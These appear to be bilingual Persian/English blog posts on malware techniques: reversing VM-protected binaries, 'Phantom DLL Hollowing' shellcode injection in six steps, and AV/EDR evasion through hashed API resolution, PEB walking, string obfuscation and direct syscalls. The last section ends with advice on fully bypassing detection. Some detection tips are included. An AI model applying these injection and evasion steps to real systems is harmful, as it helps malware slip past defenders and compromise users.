> Analyzing the structure, locating the bytecode, identifying the jump table, and finally reconstructing the original logic!






🎯 Goal:

A step-by-step guide on how to reverse a program protected by a virtual machine, even if it's a mini-VMProtect-style VM you built yourself — just like the ones used in real-world protectors like VMProtect and Code Virtualizer.




🧩 Structure of the Target File (to be reversed):

A binary (EXE or ELF)

Contains an encrypted bytecode section embedded as an array or memory blob

Includes a custom VM that:

Decrypts the bytecode

Uses a jump table to dispatch and execute instructions

Mixes fake and real opcodes to confuse analysis






🔍 Reversing Steps:

🥷 1 Locate the Entry Point

Use tools like IDA Pro, Ghidra, or x64dbg

The real "main" might look suspicious — it could call VirtualAlloc, memcpy, CreateThread, or even jump directly to the VM dispatcher





🧠 2 Identify Bytecode Decryption

Look for a function that processes a data array with XOR, AES, or even simple logic

Usually followed by a loop or control flow that uses dynamic jumps or calls





🧰 3 Locate the Jump Table

Search for an array of function pointers (jump destinations for opcodes)

Usually implemented like:

jump_table[opcode]()

or call eax

or jmp [reg + offset]






🧪 4 Analyze Each Virtual Instruction

For every opcode, identify the corresponding function

Figure out what each function does (e.g., add, print, push)

Build a reference table like this:

Opcode Operation

0x01 push number
0x02 add two numbers
0x03 print value






📜 5 Reconstruct the Original Program

Once all opcodes are understood, analyze the decrypted bytecode and translate it back into high-level logic.

Example:

Bytecode: [0x01, 0x10, 0x01, 0x20, 0x02, 0x03]

Becomes:

push(0x10);
push(0x20);
add();
print();

👻 روحی که جایگزین DLL شد!

📎 عنوان پیشنهادی برای پست:
"وقتی یه DLL هست... ولی نیست!"




🧠 Phantom DLL چیه دقیقاً

ایده‌ی اصلی اینه:

🔧 یه DLL قانونی رو لود می‌کنی،
🧼 بعدش محتواشو پاک می‌کنی،
🧠 بعد شل‌کدتو میریزی جای اون...
اما هنوز از بیرون، همه‌چی به نظر اوکیه. چون فایل اصلی رو با Delete on Close باز کردی




💡 چرا بهش می‌گن Phantom؟

چون وقتی سیستم فایل DLL رو می‌خونه، می‌بینه هست.
ولی وقتی پروسس بسته بشه، DLL از روی دیسک پاک می‌شه…
یعنی عملاً یه فایل بی‌جسم داری که فقط تو حافظه هست.




⚒️ چجوری انجامش می‌دن؟

1 با CreateFile یا API مشابه، فایل DLL رو با فلگ FILE_FLAG_DELETE_ON_CLOSE باز کن


2 از CreateFileMapping برای مپ کردن محتواش تو حافظه استفاده کن


3 از MapViewOfFile برای دسترسی به حافظه


4 محتوا رو با VirtualProtect قابل نوشتن کن


5 کلش رو پاک کن و Shellcode یا DLL مخرب خودتو بریز


6 از CreateRemoteThread یا LoadLibrary جعلی برای اجرا استفاده کن






🔥 چرا خفن‌تر از Process Hollowing؟

خیلی از آنتی‌ویروس‌ها فقط دنبال PEهای اجراشده یا فایل‌های روی دیسکن

اینجا فایلی وجود نداره! (حداقل نه وقتی پروسس بسته شه)

لاگ‌هایی مثل Event ID 7 (Sysmon) چیزی نشون نمی‌دن چون DLL از روی دیسک نیست





🧪 تشخیص چیه؟

✅ بررسی PEهای لود شده با مقایسه بین هَش فایل روی دیسک و محتوای در حافظه

✅ ابزارهایی مثل PE-sieve، Volatility و Cuckoo می‌تونن شناسایی کنن:

pe-sieve64.exe /pid <pid> /shellc /imp

🔍 همچنین می‌تونی با بررسی inconsistency بین module path و state حافظه پیداش کنی.




🎯 کجا استفاده می‌شه؟

APTهای جدی مثل FIN7، Lazarus و حتی بعضی rootkitها توی مراحل نهایی استفاده‌ش می‌کنن برای payload injection توی DLL قانونی




🧠 جمع‌بندی:

> Phantom DLL Hollowing = تزریق نامرئی!
نه فایل هست، نه رد پای واقعی… فقط یه شبح توی حافظه که کار خودشو میکنه


– A Spirit That Replaced the DLL! 👻

📎 Suggested Title:
"When a DLL Exists... But Doesn’t!"




🧠 What Exactly Is Phantom DLL?

The core idea is:

🔧 You load a legitimate DLL,
🧼 then wipe its content,
🧠 and inject your shellcode or malicious payload instead...
But from the outside, everything still looks fine — because you opened the file with Delete on Close flag.




💡 Why Is It Called "Phantom"?

Because as long as the file is in use, the system believes it exists.
But once the process closes, the DLL vanishes from disk.

> You’re working with a bodyless file — it only exists in memory.






⚒️ How Is It Done?

1 Use CreateFile (or a similar API) to open a legit DLL with the FILE_FLAG_DELETE_ON_CLOSE flag.


2 Map the file into memory with CreateFileMapping.


3 Use MapViewOfFile to access the memory.


4 Make it writable with VirtualProtect.


5 Wipe the content and inject your shellcode or malicious DLL.


6 Trigger execution using CreateRemoteThread or a spoofed LoadLibrary.






🔥 Why Is It Stealthier Than Process Hollowing?

Because many AV/EDR solutions focus on on-disk PE files or known loaded DLLs.
In this case, the DLL doesn’t exist anymore — at least not when the process exits.

Logs like Sysmon Event ID 7 won’t help — there’s no file on disk to trace.





🧪 Detection Methods?

✅ Compare in-memory loaded PE hashes with the actual file on disk
✅ Tools like PE-sieve, Volatility, or Cuckoo Sandbox can detect this:

pe-sieve64.exe /pid <pid> /shellc /imp

🔍 You can also find it by detecting inconsistencies between the module path and the actual memory content.




🎯 Where Is It Used?

Sophisticated APT groups like FIN7, Lazarus, and even some rootkits have used this during final-stage payload injection — leveraging legit DLLs




🧠 Summary:

> Phantom DLL Hollowing = Invisible Injection.
No file, no obvious trace — just a ghost in memory doing its job.

+ Obfuscation

«چجوری بدون اشاره مستقیم به هیچ API خطرناکی کدت رو اجرا کنی؟»




🎯 مشکل چیه؟

آنتی‌ویروس‌ها (AV/EDR/XDR) معمولاً:

دنبال رشته‌های مشکوک مثل VirtualAlloc, CreateRemoteThread, WinExec توی باینری می‌گردن

رفتار مشکوک رو با static signatures یا YARA کشف می‌کنن

کافیه فقط رشته‌ها تو باینریت باشن → Flag می‌شی!





💡 راه‌حل:

هیچ‌وقت مستقیم به API اشاره نکن!

استفاده از Dynamic API Resolution یعنی:

توابع حساس رو در زمان اجرا پیدا کن

اسم توابع و DLLها رو رمزنگاری یا هیش کن

اینطوری آنتی‌ویروس چیزی برای بررسی نداره





🔧 روش‌های رایج Dynamic API Resolve:

1 ✅ استفاده از GetProcAddress + LoadLibrary

HMODULE hKernel = LoadLibraryA("kernel32.dll");
FARPROC pVirtualAlloc = GetProcAddress(hKernel, "VirtualAlloc");

📛 ولی توجه: رشته‌ها هنوز توی باینری هستن! 🔥




2 🔐 استفاده از رمزنگاری یا Hash برای اسم‌ها

مثال ساده:

DWORD HashFunc(const char* funcName) {
DWORD hash = 0;
while (*funcName) {
hash = ((hash << 5) + hash) + *funcName++;
}
return hash;
}

→ حالا فقط هش رو نگه‌می‌داری و زمان اجرا می‌گردی دنبال API با همون هش.




3 🧬 جستجو توی PEB → دستی پیدا کردن توابع بدون هیچ تابع WINAPI

تو این روش دیگه نه از LoadLibrary استفاده می‌کنی، نه GetProcAddress!
مستقیماً می‌ری سراغ ساختار PEB → InMemoryOrderModuleList → و از اونجا تابع رو resolve میکنی

نمای کلی:

// از طریق PEB به لیست ماژول‌ها دسترسی
// Parse کردن PE header و Export Table
// پیدا کردن آدرس تابع از نام یا هش

ابزارهایی مثل Reflective Loader دقیقاً همینو انجام میدن




✂️ Obfuscation – پنهان‌سازی رشته‌ها و داده‌ها

روش‌های رایج:

XOR / RC4 ساده روی نام توابع

رشته‌های Unicode معکوس‌شده

ساختن رشته‌ها در زمان اجرا با sprintf, memcpy و غیره

char x[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
// یا حتی
char* str = (char*)malloc(13);
memcpy(str, "\x56\x69\x72\x74\x75\x61\x6c\x41\x6c\x6c\x6f\x63", 12);
str[12] = 0;

⚔️ ابزارها / تکنیک‌های آماده:

ابزار توضیح

SysWhispers2/3 ساخت توابع با syscall بدون هیچ رشته مشکوک
Hell’s Gate resolve مستقیم syscalls از حافظه
ScareCrow / Sliver استفاده از runtime resolution + encoding





🎯 ترکیب نهایی:

برای بای‌پس کامل توصیه می‌شه:

✅ API Resolve بدون اسم‌ها

✅ شل‌کد بدون رشته مشکوک

✅ اجرای Direct Syscall با syscall stubهایی که خودت ساختی



Obfuscation

“How can you run your code without directly referencing any suspicious APIs?”




🎯 The Problem:

AVs/EDRs/XDRs usually:

Hunt for suspicious strings like VirtualAlloc, CreateRemoteThread, WinExec in your binary

Detect shady behavior using static signatures or YARA rules

Just having those strings in your binary can get you flagged!





💡 The Solution:

Never reference dangerous APIs directly.

Instead, use Dynamic API Resolution, meaning:

Resolve sensitive functions at runtime

Encrypt or hash function and DLL names

This way, AVs have nothing to statically scan





🔧 Common Dynamic API Resolution Techniques:




1 ✅ Using GetProcAddress + LoadLibrary

HMODULE hKernel = LoadLibraryA("kernel32.dll");
FARPROC pVirtualAlloc = GetProcAddress(hKernel, "VirtualAlloc");

📛 Warning: The strings are still present in your binary! 🔥




2 🔐 Hashing or Encrypting API Names

Simple example:

DWORD HashFunc(const char* funcName) {
DWORD hash = 0;
while (*funcName) {
hash = ((hash << 5) + hash) + *funcName++;
}
return hash;
}

→ You store only the hash, then scan loaded modules for a matching function at runtime.




3 🧬 PEB Walk – No WinAPI At All

In this method, you avoid LoadLibrary and GetProcAddress entirely.

Instead, you:

Access the PEB structure

Traverse the InMemoryOrderModuleList

Parse PE headers and Export Table

Find the function address by name or hash


This is exactly how loaders like ReflectiveLoader work.




✂️ Obfuscation – Hiding Strings and Data

Common string obfuscation tricks:

Simple XOR or RC4 encryption of API names

Reversed Unicode strings

Building strings at runtime using sprintf, memcpy, etc.


Examples:

char x[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };

// or even

char* str = (char*)malloc(13);
memcpy(str, "\x56\x69\x72\x74\x75\x61\x6c\x41\x6c\x6c\x6f\x63", 12);
str[12] = 0;

⚔️ Tools / Known Techniques:

Tool Denoscription

SysWhispers2/3 Generate syscall stubs with zero suspicious strings
Hell’s Gate Resolve syscall numbers directly from memory
ScareCrow / Sliver Use runtime API resolution + encoding for full stealth





🎯 Final Recommendation:

To fully bypass detection:

✅ Resolve APIs with no visible names
✅ No suspicious strings in your shellcode
✅ Use direct syscalls via custom stubs you generate